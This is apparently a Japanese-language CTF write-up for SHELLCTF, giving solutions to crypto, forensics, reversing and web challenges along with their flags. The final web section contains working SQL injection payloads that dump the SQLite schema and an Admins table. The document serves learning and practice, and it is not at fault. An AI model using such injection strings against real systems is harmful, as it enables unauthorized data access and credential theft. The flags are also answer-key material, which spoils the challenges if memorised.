- [crypto] OX9OR2
- [forensic] Alien Communication
- [forensic] Heaven
- [forensic] Hidden File
- [misc] World's Greatest Detective
- [rev] How to defeat a dragon
- [rev] Keygen
- [rev] Pulling the strings
- [rev] warmup
- [web] Colour Cookie
- [web] Extractor
[crypto] OX9OR2
フラグに9文字の鍵をXORしたものがencryptedとして与えられる。
encryptedにとりあえずSHELL{???
を鍵として渡してみるとXORISC(@!T6DZM.&.!>6UI,E
と出てくる。
鍵の先頭はXORISC
のようだ。
XORISC???
を改めて鍵にしてみる。
SHELL{(@!_1S_R3&.!51BL3}
んー微妙にわからん。
xor is coolかなーと鍵を推測すると一発で当たった。
XORISCOOL
を鍵にするとフラグが得られる。
SHELL{X0R_1S_R3VeR51BL3}
[forensic] Alien Communication
音声ファイルが渡される。
いつものようにSonic Visualiserでスペクトラム画像を表示するとフラグが書いてある。
shell{y0u_g07_7h3_f1ag}
[forensic] Heaven
青い空を見上げればいつもそこに白い猫を起動してステガノグラフィー解析を眺める。
RGBのビット7を見てみると左上に謎の点々が見られる。
RGBの最上位ビットに何か情報が埋め込まれているようだ。
ステガノグラフィー解析のビット抽出を押して、RGBのビット7にチェックを入れて、バイナリデータ表示をするとフラグが出てくる。
テキストのみ表示にチェックを入れるとコピーしやすい。
SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}
[forensic] Hidden File
Hidden.jpgが与えられる。色々試すと以下で有益情報が得られる。
$ exiftool Hidden.jpg ExifTool Version Number : 12.44 File Name : Hidden.jpg Directory : . File Size : 2.1 MB File Modification Date/Time : 2022:08:14 01:35:19+09:00 File Access Date/Time : 2022:08:14 01:37:04+09:00 File Inode Change Date/Time : 2022:08:14 01:35:19+09:00 File Permissions : -rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 72 Y Resolution : 72 Exif Byte Order : Big-endian (Motorola, MM) Make : the password is shell; Artist : the password is shell XP Author : the password is shell Padding : (Binary data 2060 bytes, use -b option to extract) About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b Creator : the password is shell Image Width : 3000 Image Height : 4500 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 3000x4500 Megapixels : 13.5
パスワードはshellらしい。steghideでファイルをダンプしてみると成功する。
$ steghide extract -sf Hidden.jpg -p shell -xf out wrote extracted data to "out". $ file out out: Zip archive data, at least v2.0 to extract, compression method=deflate $ 7z x out
flag.zip, se3cretf1l3.pdf, something.jpgが手に入る。
something.jpgがQRコードだけれど、そのまま読むといつものyoutube動画。
pdf解析をしていくと、文字起こしでいい感じの情報が手に入る。
$ pdf2txt.py se3cretf1l3.pdf Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you key is shellctf
shellctfでflag.zipを解凍するとflag.txtが入っておりフラグ獲得。
shell{y0u_g07_th3_flag_N1c3!}
[misc] World's Greatest Detective
謎の暗号文のような画像が与えられる。
特殊なフォントを使っていると推測して、Font Finder 🔎 by What Font Isで検索。
Modern Wakandan Regular WebFont - FFonts.net
このフォントであると特定できた。
あとは、対応表を見ながらデコードしていく。
SHELLCTF{W4kandA_F0rev3r}
[rev] How to defeat a dragon
ghidraに食わせるとmain関数で何かが成功するとlocal_78が表示される。
local_78 = 0x4654434c4c454853; local_70 = 0x343534383433357b; local_68 = 0x3434353334633463; local_60 = 0x3535333133623736; local_58 = 0x3336373333323566; local_50 = 0x3631333533323733; local_48 = 0x3333336635373665; local_40 = 0x3766333937333734; local_38 = 0x7d64;
リトルエンディアンで格納されてるので全部逆にして結合してhex to stringsするとフラグが出てくる。
SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}
incorrectだった…波かっこの中身を改めてhex to stringsするともう一個フラグが出てくる。
SHELLCTF{15_R3v3r51ng_34sy?}
[rev] Keygen
ghidraで解析すると認証に成功するとgetString関数が呼ばれて何かが帰ってくるようだ。
直接getString関数の中身を見るとバイト列が返されるので持ってきて、CyberChefに食わせてフラグを得る
SHELLCTF{k3ygen_1s_c0oL}
[rev] Pulling the strings
ghidraに食わせるとmain関数にflagという変数があり、そこを参照するとフラグが格納されている。
SHELLCTF{Th4nks_f0r_the_food}
[rev] warmup
ghidraに食わせてmain関数を見る。
用意された変数に対して右に2つビットシフトして比較をしている。
コードを複製して、右に2つビットシフトしたものを文字列として出力してみよう。
#include <stdio.h> int main(void) { int local_a8 [28]; local_a8[0] = 0x1cc; local_a8[1] = 0x1a0; local_a8[2] = 0x194; local_a8[3] = 0x1b0; local_a8[4] = 0x1b0; local_a8[5] = 0x18c; local_a8[6] = 0x1d0; local_a8[7] = 0x198; local_a8[8] = 0x1ec; local_a8[9] = 0x188; local_a8[10] = 0xc4; local_a8[11] = 0x1d0; local_a8[12] = 0x15c; local_a8[13] = 0x1a4; local_a8[14] = 0xd4; local_a8[15] = 0x194; local_a8[16] = 0x17c; local_a8[17] = 0xc0; local_a8[18] = 0x1c0; local_a8[19] = 0xcc; local_a8[20] = 0x1c8; local_a8[21] = 0x104; local_a8[22] = 0x1d0; local_a8[23] = 0xc0; local_a8[24] = 0x1c8; local_a8[25] = 0x14c; local_a8[26] = 50; for (int local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) { printf("%c", local_a8[local_ac] >> 2); } return 0; }
これを実行するとshellctf{b1tWi5e_0p3rAt0rS
と出力される。最後にカッコを補ったらフラグになる。
shellctf{b1tWi5e_0p3rAt0rS}
[web] Colour Cookie
/static/base_cookie.css
の末尾に/* name="C0loR" */
と不穏なコメントがある。
フォームに名前を入れても応答が変わらないのでコメントにあるようにC0loRにしてみるが…何も起きないな。
ヒントが追加されたので見てみる
The key is finding and value is the favourite thing....
はー
GET /check?name=&C0loR=Blue
shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}
[web] Extractor
なんか、guessすぎるweb問が多かったので初手ヒントを見た。
a sample query :- username' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--
だいぶ優しいヒントだった…
これは頑張ればよかったな。
GET /profile?username=username%27+union+select+1%2Csqlite_version%28%29%2C3%2C4%3B--&pass=&content=
のようにするとsqliteのバージョンが出てくる。
つまりusernameにSQL Injectionの脆弱性がある。
usernameにusername' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--
とする。
CREATE TABLE Admins ( id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT NOT NULL, pass TEXT NOT NULL, content TEXT NOT NULL ), CREATE TABLE sqlite_sequence(name,seq), CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT NOT NULL, pass TEXT NOT NULL, content TEXT NOT NULL )
いい感じにテーブル情報が抜けてきた。Adminsテーブルを抜こう。
username' union select id,user,pass,content from Admins;--
でフラグが得られた。
shellctf{Sql_1Nj3c7i0n_B45iC_XD}